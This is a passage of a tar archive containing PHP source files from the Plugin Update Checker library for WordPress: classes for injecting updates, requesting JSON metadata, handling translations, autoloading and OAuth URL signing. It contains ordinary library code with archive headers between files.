-- Only happens in debug mode. trigger_error(esc_html($message), $errorType); } } /** * @return bool */ protected function isDebugModeEnabled() { if ( $this->debugMode === null ) { $this->debugMode = (bool)(constant('WP_DEBUG')); } return $this->debugMode; } /** * Get the full name of an update checker filter, action or DB entry. * * This method adds the "puc_" prefix and the "-$slug" suffix to the filter name. * For example, "pre_inject_update" becomes "puc_pre_inject_update-plugin-slug". * * @param string $baseTag * @return string */ public function getUniqueName($baseTag) { $name = 'puc_' . $baseTag; if ( $this->filterSuffix !== '' ) { $name .= '_' . $this->filterSuffix; } return $name . '-' . $this->slug; } /** * Store API errors that are generated when checking for updates. * * @internal * @param \WP_Error $error * @param array|null $httpResponse * @param string|null $url * @param string|null $slug */ public function collectApiErrors($error, $httpResponse = null, $url = null, $slug = null) { if ( isset($slug) && ($slug !== $this->slug) ) { return; } $this->lastRequestApiErrors[] = array( 'error' => $error, 'httpResponse' => $httpResponse, 'url' => $url, ); } /** * @return array */ public function getLastRequestApiErrors() { return $this->lastRequestApiErrors; } /* ------------------------------------------------------------------- * PUC filters and filter utilities * ------------------------------------------------------------------- */ /** * Register a callback for one of the update checker filters. * * Identical to add_filter(), except it automatically adds the "puc_" prefix * and the "-$slug" suffix to the filter name. For example, "request_info_result" * becomes "puc_request_info_result-your_plugin_slug". * * @param string $tag * @param callable $callback * @param int $priority * @param int $acceptedArgs */ public function addFilter($tag, $callback, $priority = 10, $acceptedArgs = 1) { add_filter($this->getUniqueName($tag), $callback, $priority, $acceptedArgs); } /* ------------------------------------------------------------------- * Inject updates * ------------------------------------------------------------------- */ /** * Insert the latest update (if any) into the update list maintained by WP. * * @param \stdClass $updates Update list. * @return \stdClass Modified update list. */ public function injectUpdate($updates) { //Is there an update to insert? $update = $this->getUpdate(); if ( !$this->shouldShowUpdates() ) { $update = null; } if ( !empty($update) ) { //Let plugins filter the update info before it's passed on to WordPress. $update = apply_filters($this->getUniqueName('pre_inject_update'), $update); $updates = $this->addUpdateToList($updates, $update->toWpFormat()); } else { //Clean up any stale update info. $updates = $this->removeUpdateFromList($updates); //Add a placeholder item to the "no_update" list to enable auto-update support. //If we don't do this, the option to enable automatic updates will only show up //when an update is available. $updates = $this->addNoUpdateItem($updates); } return $updates; } /** * @param \stdClass|null $updates * @param \stdClass|array $updateToAdd * @return \stdClass */ protected function addUpdateToList($updates, $updateToAdd) { if ( !is_object($updates) ) { $updates = new stdClass(); $updates->response = array(); } $updates->response[$this->getUpdateListKey()] = $updateToAdd; return $updates; } /** * @param \stdClass|null $updates * @return \stdClass|null */ protected function removeUpdateFromList($updates) { if ( isset($updates, $updates->response) ) { unset($updates->response[$this->getUpdateListKey()]); } return $updates; } /** * See this post for more information: * @link https://make.wordpress.org/core/2020/07/30/recommended-usage-of-the-updates-api-to-support-the-auto-updates-ui-for-plugins-and-themes-in-wordpress-5-5/ * * @param \stdClass|null $updates * @return \stdClass */ protected function addNoUpdateItem($updates) { if ( !is_object($updates) ) { $updates = new stdClass(); $updates->response = array(); $updates->no_update = array(); } else if ( !isset($updates->no_update) ) { $updates->no_update = array(); } $updates->no_update[$this->getUpdateListKey()] = (object) $this->getNoUpdateItemFields(); return $updates; } /** * Subclasses should override this method to add fields that are specific to plugins or themes. * @return array */ protected function getNoUpdateItemFields() { return array( 'new_version' => $this->getInstalledVersion(), 'url' => '', 'package' => '', 'requires_php' => '', ); } /** * Get the key that will be used when adding updates to the update list that's maintained * by the WordPress core. The list is always an associative array, but the key is different * for plugins and themes. * * @return string */ abstract protected function getUpdateListKey(); /** * Should we show available updates? * * Usually the answer is "yes", but there are exceptions. For example, WordPress doesn't * support automatic updates installation for mu-plugins, so PUC usually won't show update * notifications in that case. See the plugin-specific subclass for details. * * Note: This method only applies to updates that are displayed (or not) in the WordPress * admin. It doesn't affect APIs like requestUpdate and getUpdate. * * @return bool */ protected function shouldShowUpdates() { return true; } /* ------------------------------------------------------------------- * JSON-based update API * ------------------------------------------------------------------- */ /** * Retrieve plugin or theme metadata from the JSON document at $this->metadataUrl. * * @param class-string<Update> $metaClass Parse the JSON as an instance of this class. It must have a static fromJson method. * @param string $filterRoot * @param array $queryArgs Additional query arguments. * @return array<Metadata|null, array|WP_Error> A metadata instance and the value returned by wp_remote_get(). */ protected function requestMetadata($metaClass, $filterRoot, $queryArgs = array()) { //Query args to append to the URL. Plugins can add their own by using a filter callback (see addQueryArgFilter()). $queryArgs = array_merge( array( 'installed_version' => strval($this->getInstalledVersion()), 'php' => phpversion(), 'locale' => get_locale(), ), $queryArgs ); $queryArgs = apply_filters($this->getUniqueName($filterRoot . '_query_args'), $queryArgs); //Various options for the wp_remote_get() call. Plugins can filter these, too. $options = array( 'timeout' => wp_doing_cron() ? 10 : 3, 'headers' => array( 'Accept' => 'application/json', ), ); $options = apply_filters($this->getUniqueName($filterRoot . '_options'), $options); //The metadata file should be at 'http://your-api.com/url/here/$slug/info.json' $url = $this->metadataUrl; if ( !empty($queryArgs) ){ $url = add_query_arg($queryArgs, $url); } $result = wp_remote_get($url, $options); $result = apply_filters($this->getUniqueName('request_metadata_http_result'), $result, $url, $options); //Try to parse the response $status = $this->validateApiResponse($result); $metadata = null; if ( !is_wp_error($status) ){ if ( (strpos($metaClass, '\\') === false) ) { $metaClass = __NAMESPACE__ . '\\' . $metaClass; } $metadata = call_user_func(array($metaClass, 'fromJson'), $result['body']); } else { do_action('puc_api_error', $status, $result, $url, $this->slug); $this->triggerError( sprintf('The URL %s does not point to a valid metadata file. ', $url) . $status->get_error_message(), E_USER_WARNING ); } return array($metadata, $result); } /** * Check if $result is a successful update API response. * * @param array|WP_Error $result * @return true|WP_Error */ protected function validateApiResponse($result) { if ( is_wp_error($result) ) { /** @var WP_Error $result */ return new WP_Error($result->get_error_code(), 'WP HTTP Error: ' . $result->get_error_message()); } if ( !isset($result['response']['code']) ) { return new WP_Error( 'puc_no_response_code', 'wp_remote_get() returned an unexpected result.' ); } if ( $result['response']['code'] !== 200 ) { return new WP_Error( 'puc_unexpected_response_code', 'HTTP response code is ' . $result['response']['code'] . ' (expected: 200)' ); } if ( empty($result['body']) ) { return new WP_Error('puc_empty_response', 'The metadata file appears to be empty.'); } return true; } /* ------------------------------------------------------------------- * Language packs / Translation updates * ------------------------------------------------------------------- */ /** * Filter a list of translation updates and return a new list that contains only updates * that apply to the current site. * * @param array $translations * @return array */ protected function filterApplicableTranslations($translations) { $languages = array_flip(array_values(get_available_languages())); $installedTranslations = $this->getInstalledTranslations(); $applicableTranslations = array(); foreach ($translations as $translation) { //Does it match one of the available core languages? $isApplicable = array_key_exists($translation->language, $languages); //Is it more recent than an already-installed translation? if ( isset($installedTranslations[$translation->language]) ) { $updateTimestamp = strtotime($translation->updated); $installedTimestamp = strtotime($installedTranslations[$translation->language]['PO-Revision-Date']); $isApplicable = $updateTimestamp > $installedTimestamp; } if ( $isApplicable ) { $applicableTranslations[] = $translation; } } return $applicableTranslations; } /** * Get a list of installed translations for this plugin or theme. * * @return array */ protected function getInstalledTranslations() { if ( !function_exists('wp_get_installed_translations') ) { return array(); } $installedTranslations = wp_get_installed_translations($this->translationType . 's'); if ( isset($installedTranslations[$this->directoryName]) ) { $installedTranslations = $installedTranslations[$this->directoryName]; } else { $installedTranslations = array(); } return $installedTranslations; } /** * Insert translation updates into the list maintained by WordPress. * * @param stdClass $updates * @return stdClass */ public function injectTranslationUpdates($updates) { $translationUpdates = $this->getTranslationUpdates(); if ( empty($translationUpdates) ) { return $updates; } //Being defensive. if ( !is_object($updates) ) { $updates = new stdClass(); } if ( !isset($updates->translations) ) { $updates->translations = array(); } //In case there's a name collision with a plugin or theme hosted on wordpress.org, //remove any preexisting updates that match our thing. $updates->translations = array_values(array_filter( $updates->translations, array($this, 'isNotMyTranslation') )); //Add our updates to the list. foreach($translationUpdates as $update) { $convertedUpdate = array_merge( array( 'type' => $this->translationType, 'slug' => $this->directoryName, 'autoupdate' => 0, //AFAICT, WordPress doesn't actually use the "version" field for anything. //But lets make sure it's there, just in case. 'version' => isset($update->version) ? $update->version : ('1.' . strtotime($update->updated)), ), (array)$update ); $updates->translations[] = $convertedUpdate; } return $updates; } /** * Get a list of available translation updates. * * This method will return an empty array if there are no updates. * Uses cached update data. * * @return array */ public function getTranslationUpdates() { return $this->updateState->getTranslations(); } /** * Remove all cached translation updates. * * @see wp_clean_update_cache */ public function clearCachedTranslationUpdates() { $this->updateState->setTranslations(array()); } /** * Filter callback. Keeps only translations that *don't* match this plugin or theme. * * @param array $translation * @return bool */ protected function isNotMyTranslation($translation) { $isMatch = isset($translation['type'], $translation['slug']) && ($translation['type'] === $this->translationType) && ($translation['slug'] === $this->directoryName); return !$isMatch; } /* ------------------------------------------------------------------- * Fix directory name when installing updates * ------------------------------------------------------------------- */ /** * Rename the update directory to match the existing plugin/theme directory. * * When WordPress installs a plugin or theme update, it assumes that the ZIP file will contain * exactly one directory, and that the directory name will be the same as the directory where * the plugin or theme is currently installed. * * GitHub and other repositories provide ZIP downloads, but they often use directory names like * "project-branch" or "project-tag-hash". We need to change the name to the actual plugin folder. * * This is a hook callback. Don't call it from a plugin. * * @access protected * * @param string $source The directory to copy to /wp-content/plugins or /wp-content/themes. Usually a subdirectory of $remoteSource. * @param string $remoteSource WordPress has extracted the update to this directory. * @param \WP_Upgrader $upgrader * @return string|WP_Error */ public function fixDirectoryName($source, $remoteSource, $upgrader) { global $wp_filesystem; /** @var \WP_Filesystem_Base $wp_filesystem */ //Basic sanity checks. if ( !isset($source, $remoteSource, $upgrader, $upgrader->skin, $wp_filesystem) ) { return $source; } //If WordPress is upgrading anything other than our plugin/theme, leave the directory name unchanged. if ( !$this->isBeingUpgraded($upgrader) ) { return $source; } //Rename the source to match the existing directory. $correctedSource = trailingslashit($remoteSource) . $this->directoryName . '/'; if ( $source !== $correctedSource ) { //The update archive should contain a single directory that contains the rest of plugin/theme files. //Otherwise, WordPress will try to copy the entire working directory ($source == $remoteSource). //We can't rename $remoteSource because that would break WordPress code that cleans up temporary files //after update. if ( $this->isBadDirectoryStructure($remoteSource) ) { return new WP_Error( 'puc-incorrect-directory-structure', sprintf( 'The directory structure of the update is incorrect. All files should be inside ' . 'a directory named <span class="code">%s</span>, not at the root of the ZIP archive.', htmlentities($this->slug) ) ); } /** @var \WP_Upgrader_Skin $upgrader ->skin */ $upgrader->skin->feedback(sprintf( 'Renaming %s to %s…', '<span class="code">' . basename($source) . '</span>', '<span class="code">' . $this->directoryName . '</span>' )); if ( $wp_filesystem->move($source, $correctedSource, true) ) { $upgrader->skin->feedback('Directory successfully renamed.'); return $correctedSource; } else { return new WP_Error( 'puc-rename-failed', 'Unable to rename the update to match the existing directory.' ); } } return $source; } /** * Is there an update being installed right now, for this plugin or theme? * * @param \WP_Upgrader|null $upgrader The upgrader that's performing the current update. * @return bool */ abstract public function isBeingUpgraded($upgrader = null); /** * Check for incorrect update directory structure. An update must contain a single directory, * all other files should be inside that directory. * * @param string $remoteSource Directory path. * @return bool */ protected function isBadDirectoryStructure($remoteSource) { global $wp_filesystem; /** @var \WP_Filesystem_Base $wp_filesystem */ $sourceFiles = $wp_filesystem->dirlist($remoteSource); if ( is_array($sourceFiles) ) { $sourceFiles = array_keys($sourceFiles); $firstFilePath = trailingslashit($remoteSource) . $sourceFiles[0]; return (count($sourceFiles) > 1) || (!$wp_filesystem->is_dir($firstFilePath)); } //Assume it's fine. return false; } /* ------------------------------------------------------------------- * DebugBar integration * ------------------------------------------------------------------- */ /** * Initialize the update checker Debug Bar plugin/add-on thingy. */ public function maybeInitDebugBar() { if ( class_exists('Debug_Bar', false) && file_exists(dirname(__FILE__) . '/DebugBar') ) { $this->debugBarExtension = $this->createDebugBarExtension(); } } protected function createDebugBarExtension() { return new DebugBar\Extension($this); } /** * Display additional configuration details in the Debug Bar panel. * * @param DebugBar\Panel $panel */ public function onDisplayConfiguration($panel) { //Do nothing. Subclasses can use this to add additional info to the panel. } } endif; ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/UpgraderStatus.php����������������������������������������������������������0000644�����������������00000015610�14757771437�0014472 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; if ( !class_exists(UpgraderStatus::class, false) ): /** * A utility class that helps figure out which plugin or theme WordPress is upgrading. * * It may seem strange to have a separate class just for that, but the task is surprisingly complicated. * Core classes like Plugin_Upgrader don't expose the plugin file name during an in-progress update (AFAICT). * This class uses a few workarounds and heuristics to get the file name. */ class UpgraderStatus { private $currentType = null; //This must be either "plugin" or "theme". private $currentId = null; //Plugin basename or theme directory name. public function __construct() { //Keep track of which plugin/theme WordPress is currently upgrading. add_filter('upgrader_pre_install', array($this, 'setUpgradedThing'), 10, 2); add_filter('upgrader_package_options', array($this, 'setUpgradedPluginFromOptions'), 10, 1); add_filter('upgrader_post_install', array($this, 'clearUpgradedThing'), 10, 1); add_action('upgrader_process_complete', array($this, 'clearUpgradedThing'), 10, 1); } /** * Is there and update being installed RIGHT NOW, for a specific plugin? * * Caution: This method is unreliable. WordPress doesn't make it easy to figure out what it is upgrading, * and upgrader implementations are liable to change without notice. * * @param string $pluginFile The plugin to check. * @param \WP_Upgrader|null $upgrader The upgrader that's performing the current update. * @return bool True if the plugin identified by $pluginFile is being upgraded. */ public function isPluginBeingUpgraded($pluginFile, $upgrader = null) { return $this->isBeingUpgraded('plugin', $pluginFile, $upgrader); } /** * Is there an update being installed for a specific theme? * * @param string $stylesheet Theme directory name. * @param \WP_Upgrader|null $upgrader The upgrader that's performing the current update. * @return bool */ public function isThemeBeingUpgraded($stylesheet, $upgrader = null) { return $this->isBeingUpgraded('theme', $stylesheet, $upgrader); } /** * Check if a specific theme or plugin is being upgraded. * * @param string $type * @param string $id * @param \Plugin_Upgrader|\WP_Upgrader|null $upgrader * @return bool */ protected function isBeingUpgraded($type, $id, $upgrader = null) { if ( isset($upgrader) ) { list($currentType, $currentId) = $this->getThingBeingUpgradedBy($upgrader); if ( $currentType !== null ) { $this->currentType = $currentType; $this->currentId = $currentId; } } return ($this->currentType === $type) && ($this->currentId === $id); } /** * Figure out which theme or plugin is being upgraded by a WP_Upgrader instance. * * Returns an array with two items. The first item is the type of the thing that's being * upgraded: "plugin" or "theme". The second item is either the plugin basename or * the theme directory name. If we can't determine what the upgrader is doing, both items * will be NULL. * * Examples: * ['plugin', 'plugin-dir-name/plugin.php'] * ['theme', 'theme-dir-name'] * * @param \Plugin_Upgrader|\WP_Upgrader $upgrader * @return array */ private function getThingBeingUpgradedBy($upgrader) { if ( !isset($upgrader, $upgrader->skin) ) { return array(null, null); } //Figure out which plugin or theme is being upgraded. $pluginFile = null; $themeDirectoryName = null; $skin = $upgrader->skin; if ( isset($skin->theme_info) && ($skin->theme_info instanceof \WP_Theme) ) { $themeDirectoryName = $skin->theme_info->get_stylesheet(); } elseif ( $skin instanceof \Plugin_Upgrader_Skin ) { if ( isset($skin->plugin) && is_string($skin->plugin) && ($skin->plugin !== '') ) { $pluginFile = $skin->plugin; } } elseif ( $skin instanceof \Theme_Upgrader_Skin ) { if ( isset($skin->theme) && is_string($skin->theme) && ($skin->theme !== '') ) { $themeDirectoryName = $skin->theme; } } elseif ( isset($skin->plugin_info) && is_array($skin->plugin_info) ) { //This case is tricky because Bulk_Plugin_Upgrader_Skin (etc) doesn't actually store the plugin //filename anywhere. Instead, it has the plugin headers in $plugin_info. So the best we can //do is compare those headers to the headers of installed plugins. $pluginFile = $this->identifyPluginByHeaders($skin->plugin_info); } if ( $pluginFile !== null ) { return array('plugin', $pluginFile); } elseif ( $themeDirectoryName !== null ) { return array('theme', $themeDirectoryName); } return array(null, null); } /** * Identify an installed plugin based on its headers. * * @param array $searchHeaders The plugin file header to look for. * @return string|null Plugin basename ("foo/bar.php"), or NULL if we can't identify the plugin. */ private function identifyPluginByHeaders($searchHeaders) { if ( !function_exists('get_plugins') ){ require_once( ABSPATH . '/wp-admin/includes/plugin.php' ); } $installedPlugins = get_plugins(); $matches = array(); foreach($installedPlugins as $pluginBasename => $headers) { $diff1 = array_diff_assoc($headers, $searchHeaders); $diff2 = array_diff_assoc($searchHeaders, $headers); if ( empty($diff1) && empty($diff2) ) { $matches[] = $pluginBasename; } } //It's possible (though very unlikely) that there could be two plugins with identical //headers. In that case, we can't unambiguously identify the plugin that's being upgraded. if ( count($matches) !== 1 ) { return null; } return reset($matches); } /** * @access private * * @param mixed $input * @param array $hookExtra * @return mixed Returns $input unaltered. */ public function setUpgradedThing($input, $hookExtra) { if ( !empty($hookExtra['plugin']) && is_string($hookExtra['plugin']) ) { $this->currentId = $hookExtra['plugin']; $this->currentType = 'plugin'; } elseif ( !empty($hookExtra['theme']) && is_string($hookExtra['theme']) ) { $this->currentId = $hookExtra['theme']; $this->currentType = 'theme'; } else { $this->currentType = null; $this->currentId = null; } return $input; } /** * @access private * * @param array $options * @return array */ public function setUpgradedPluginFromOptions($options) { if ( isset($options['hook_extra']['plugin']) && is_string($options['hook_extra']['plugin']) ) { $this->currentType = 'plugin'; $this->currentId = $options['hook_extra']['plugin']; } else { $this->currentType = null; $this->currentId = null; } return $options; } /** * @access private * * @param mixed $input * @return mixed Returns $input unaltered. */ public function clearUpgradedThing($input = null) { $this->currentId = null; $this->currentType = null; return $input; } } endif; ������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Autoloader.php��������������������������������������������������������������0000644�����������������00000005200�14757771437�0013606 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; if ( !class_exists(Autoloader::class, false) ): class Autoloader { const DEFAULT_NS_PREFIX = 'YahnisElsts\\PluginUpdateChecker\\'; private $prefix; private $rootDir; private $libraryDir; private $staticMap; public function __construct() { $this->rootDir = dirname(__FILE__) . '/'; $namespaceWithSlash = __NAMESPACE__ . '\\'; $this->prefix = $namespaceWithSlash; $this->libraryDir = $this->rootDir . '../..'; if ( !self::isPhar() ) { $this->libraryDir = realpath($this->libraryDir); } $this->libraryDir = $this->libraryDir . '/'; //Usually, dependencies like Parsedown are in the global namespace, //but if someone adds a custom namespace to the entire library, they //will be in the same namespace as this class. $isCustomNamespace = ( substr($namespaceWithSlash, 0, strlen(self::DEFAULT_NS_PREFIX)) !== self::DEFAULT_NS_PREFIX ); $libraryPrefix = $isCustomNamespace ? $namespaceWithSlash : ''; $this->staticMap = array( $libraryPrefix . 'PucReadmeParser' => 'vendor/PucReadmeParser.php', $libraryPrefix . 'Parsedown' => 'vendor/Parsedown.php', ); //Add the generic, major-version-only factory class to the static map. $versionSeparatorPos = strrpos(__NAMESPACE__, '\\v'); if ( $versionSeparatorPos !== false ) { $versionSegment = substr(__NAMESPACE__, $versionSeparatorPos + 1); $pointPos = strpos($versionSegment, 'p'); if ( ($pointPos !== false) && ($pointPos > 1) ) { $majorVersionSegment = substr($versionSegment, 0, $pointPos); $majorVersionNs = __NAMESPACE__ . '\\' . $majorVersionSegment; $this->staticMap[$majorVersionNs . '\\PucFactory'] = 'Puc/' . $majorVersionSegment . '/Factory.php'; } } spl_autoload_register(array($this, 'autoload')); } /** * Determine if this file is running as part of a Phar archive. * * @return bool */ private static function isPhar() { //Check if the current file path starts with "phar://". static $pharProtocol = 'phar://'; return (substr(__FILE__, 0, strlen($pharProtocol)) === $pharProtocol); } public function autoload($className) { if ( isset($this->staticMap[$className]) && file_exists($this->libraryDir . $this->staticMap[$className]) ) { include($this->libraryDir . $this->staticMap[$className]); return; } if ( strpos($className, $this->prefix) === 0 ) { $path = substr($className, strlen($this->prefix)); $path = str_replace(array('_', '\\'), '/', $path); $path = $this->rootDir . $path . '.php'; if ( file_exists($path) ) { include $path; } } } } endif; ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/OAuthSignature.php����������������������������������������������������������0000644�����������������00000005771�14757771437�0014426 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; if ( !class_exists(OAuthSignature::class, false) ): /** * A basic signature generator for zero-legged OAuth 1.0. */ class OAuthSignature { private $consumerKey = ''; private $consumerSecret = ''; public function __construct($consumerKey, $consumerSecret) { $this->consumerKey = $consumerKey; $this->consumerSecret = $consumerSecret; } /** * Sign a URL using OAuth 1.0. * * @param string $url The URL to be signed. It may contain query parameters. * @param string $method HTTP method such as "GET", "POST" and so on. * @return string The signed URL. */ public function sign($url, $method = 'GET') { $parameters = array(); //Parse query parameters. $query = wp_parse_url($url, PHP_URL_QUERY); if ( !empty($query) ) { parse_str($query, $parsedParams); if ( is_array($parsedParams) ) { $parameters = $parsedParams; } //Remove the query string from the URL. We'll replace it later. $url = substr($url, 0, strpos($url, '?')); } $parameters = array_merge( $parameters, array( 'oauth_consumer_key' => $this->consumerKey, 'oauth_nonce' => $this->nonce(), 'oauth_signature_method' => 'HMAC-SHA1', 'oauth_timestamp' => time(), 'oauth_version' => '1.0', ) ); unset($parameters['oauth_signature']); //Parameters must be sorted alphabetically before signing. ksort($parameters); //The most complicated part of the request - generating the signature. //The string to sign contains the HTTP method, the URL path, and all of //our query parameters. Everything is URL encoded. Then we concatenate //them with ampersands into a single string to hash. $encodedVerb = urlencode($method); $encodedUrl = urlencode($url); $encodedParams = urlencode(http_build_query($parameters, '', '&')); $stringToSign = $encodedVerb . '&' . $encodedUrl . '&' . $encodedParams; //Since we only have one OAuth token (the consumer secret) we only have //to use it as our HMAC key. However, we still have to append an & to it //as if we were using it with additional tokens. $secret = urlencode($this->consumerSecret) . '&'; //The signature is a hash of the consumer key and the base string. Note //that we have to get the raw output from hash_hmac and base64 encode //the binary data result. $parameters['oauth_signature'] = base64_encode(hash_hmac('sha1', $stringToSign, $secret, true)); return ($url . '?' . http_build_query($parameters)); } /** * Generate a random nonce. * * @return string */ private function nonce() { $mt = microtime(); $rand = null; if ( is_callable('random_bytes') ) { try { $rand = random_bytes(16); } catch (\Exception $ex) { //Fall back to mt_rand (below). } } if ( $rand === null ) { //phpcs:ignore WordPress.WP.AlternativeFunctions.rand_mt_rand $rand = function_exists('wp_rand') ? wp_rand() : mt_rand(); } return md5($mt . '_' . $rand); } } endif; �������update-checker/Puc/v5p2/Metadata.php����������������������������������������������������������������0000644�����������������00000010217�14757771437�0013233 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; use LogicException; use stdClass; use WP_Error; if ( !class_exists(Metadata::class, false) ): /** * A base container for holding information about updates and plugin metadata. * * @author Janis Elsts * @copyright 2016 * @access public */ abstract class Metadata { /** * Additional dynamic properties, usually copied from the API response. * * @var array<string,mixed> */ protected $extraProperties = array(); /** * Create an instance of this class from a JSON document. * * @abstract * @param string $json * @return self */ public static function fromJson($json) { throw new LogicException('The ' . __METHOD__ . ' method must be implemented by subclasses'); } /** * @param string $json * @param self $target * @return bool */ protected static function createFromJson($json, $target) { /** @var \StdClass $apiResponse */ $apiResponse = json_decode($json); if ( empty($apiResponse) || !is_object($apiResponse) ){ $errorMessage = "Failed to parse update metadata. Try validating your .json file with https://jsonlint.com/"; do_action('puc_api_error', new WP_Error('puc-invalid-json', $errorMessage)); //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error -- For plugin developers. trigger_error(esc_html($errorMessage), E_USER_NOTICE); return false; } $valid = $target->validateMetadata($apiResponse); if ( is_wp_error($valid) ){ do_action('puc_api_error', $valid); //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error -- For plugin developers. trigger_error(esc_html($valid->get_error_message()), E_USER_NOTICE); return false; } foreach(get_object_vars($apiResponse) as $key => $value){ $target->$key = $value; } return true; } /** * No validation by default! Subclasses should check that the required fields are present. * * @param \StdClass $apiResponse * @return bool|\WP_Error */ protected function validateMetadata($apiResponse) { return true; } /** * Create a new instance by copying the necessary fields from another object. * * @abstract * @param \StdClass|self $object The source object. * @return self The new copy. */ public static function fromObject($object) { throw new LogicException('The ' . __METHOD__ . ' method must be implemented by subclasses'); } /** * Create an instance of StdClass that can later be converted back to an * update or info container. Useful for serialization and caching, as it * avoids the "incomplete object" problem if the cached value is loaded * before this class. * * @return \StdClass */ public function toStdClass() { $object = new stdClass(); $this->copyFields($this, $object); return $object; } /** * Transform the metadata into the format used by WordPress core. * * @return object */ abstract public function toWpFormat(); /** * Copy known fields from one object to another. * * @param \StdClass|self $from * @param \StdClass|self $to */ protected function copyFields($from, $to) { $fields = $this->getFieldNames(); if ( property_exists($from, 'slug') && !empty($from->slug) ) { //Let plugins add extra fields without having to create subclasses. $fields = apply_filters($this->getPrefixedFilter('retain_fields') . '-' . $from->slug, $fields); } foreach ($fields as $field) { if ( property_exists($from, $field) ) { $to->$field = $from->$field; } } } /** * @return string[] */ protected function getFieldNames() { return array(); } /** * @param string $tag * @return string */ protected function getPrefixedFilter($tag) { return 'puc_' . $tag; } public function __set($name, $value) { $this->extraProperties[$name] = $value; } public function __get($name) { return isset($this->extraProperties[$name]) ? $this->extraProperties[$name] : null; } public function __isset($name) { return isset($this->extraProperties[$name]); } public function __unset($name) { unset($this->extraProperties[$name]); } } endif; ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/PucFactory.php��������������������������������������������������������������0000644�����������������00000026767�14757771437�0013613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; use YahnisElsts\PluginUpdateChecker\v5p2\Plugin; use YahnisElsts\PluginUpdateChecker\v5p2\Theme; use YahnisElsts\PluginUpdateChecker\v5p2\Vcs; if ( !class_exists(PucFactory::class, false) ): /** * A factory that builds update checker instances. * * When multiple versions of the same class have been loaded (e.g. PluginUpdateChecker 4.0 * and 4.1), this factory will always use the latest available minor version. Register class * versions by calling {@link PucFactory::addVersion()}. * * At the moment it can only build instances of the UpdateChecker class. Other classes are * intended mainly for internal use and refer directly to specific implementations. */ class PucFactory { protected static $classVersions = array(); protected static $sorted = false; protected static $myMajorVersion = ''; protected static $latestCompatibleVersion = ''; /** * A wrapper method for buildUpdateChecker() that reads the metadata URL from the plugin or theme header. * * @param string $fullPath Full path to the main plugin file or the theme's style.css. * @param array $args Optional arguments. Keys should match the argument names of the buildUpdateChecker() method. * @return Plugin\UpdateChecker|Theme\UpdateChecker|Vcs\BaseChecker */ public static function buildFromHeader($fullPath, $args = array()) { $fullPath = self::normalizePath($fullPath); //Set up defaults. $defaults = array( 'metadataUrl' => '', 'slug' => '', 'checkPeriod' => 12, 'optionName' => '', 'muPluginFile' => '', ); $args = array_merge($defaults, array_intersect_key($args, $defaults)); extract($args, EXTR_SKIP); //Check for the service URI if ( empty($metadataUrl) ) { $metadataUrl = self::getServiceURI($fullPath); } return self::buildUpdateChecker($metadataUrl, $fullPath, $slug, $checkPeriod, $optionName, $muPluginFile); } /** * Create a new instance of the update checker. * * This method automatically detects if you're using it for a plugin or a theme and chooses * the appropriate implementation for your update source (JSON file, GitHub, BitBucket, etc). * * @see UpdateChecker::__construct * * @param string $metadataUrl The URL of the metadata file, a GitHub repository, or another supported update source. * @param string $fullPath Full path to the main plugin file or to the theme directory. * @param string $slug Custom slug. Defaults to the name of the main plugin file or the theme directory. * @param int $checkPeriod How often to check for updates (in hours). * @param string $optionName Where to store bookkeeping info about update checks. * @param string $muPluginFile The plugin filename relative to the mu-plugins directory. * @return Plugin\UpdateChecker|Theme\UpdateChecker|Vcs\BaseChecker */ public static function buildUpdateChecker($metadataUrl, $fullPath, $slug = '', $checkPeriod = 12, $optionName = '', $muPluginFile = '') { $fullPath = self::normalizePath($fullPath); $id = null; //Plugin or theme? $themeDirectory = self::getThemeDirectoryName($fullPath); if ( self::isPluginFile($fullPath) ) { $type = 'Plugin'; $id = $fullPath; } else if ( $themeDirectory !== null ) { $type = 'Theme'; $id = $themeDirectory; } else { throw new \RuntimeException(sprintf( 'The update checker cannot determine if "%s" is a plugin or a theme. ' . 'This is a bug. Please contact the PUC developer.', htmlentities($fullPath) )); } //Which hosting service does the URL point to? $service = self::getVcsService($metadataUrl); $apiClass = null; if ( empty($service) ) { //The default is to get update information from a remote JSON file. $checkerClass = $type . '\\UpdateChecker'; } else { //You can also use a VCS repository like GitHub. $checkerClass = 'Vcs\\' . $type . 'UpdateChecker'; $apiClass = $service . 'Api'; } $checkerClass = self::getCompatibleClassVersion($checkerClass); if ( $checkerClass === null ) { //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error trigger_error( esc_html(sprintf( 'PUC %s does not support updates for %ss %s', self::$latestCompatibleVersion, strtolower($type), $service ? ('hosted on ' . $service) : 'using JSON metadata' )), E_USER_ERROR ); } if ( !isset($apiClass) ) { //Plain old update checker. return new $checkerClass($metadataUrl, $id, $slug, $checkPeriod, $optionName, $muPluginFile); } else { //VCS checker + an API client. $apiClass = self::getCompatibleClassVersion($apiClass); if ( $apiClass === null ) { //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error trigger_error(esc_html(sprintf( 'PUC %s does not support %s', self::$latestCompatibleVersion, $service )), E_USER_ERROR); } return new $checkerClass( new $apiClass($metadataUrl), $id, $slug, $checkPeriod, $optionName, 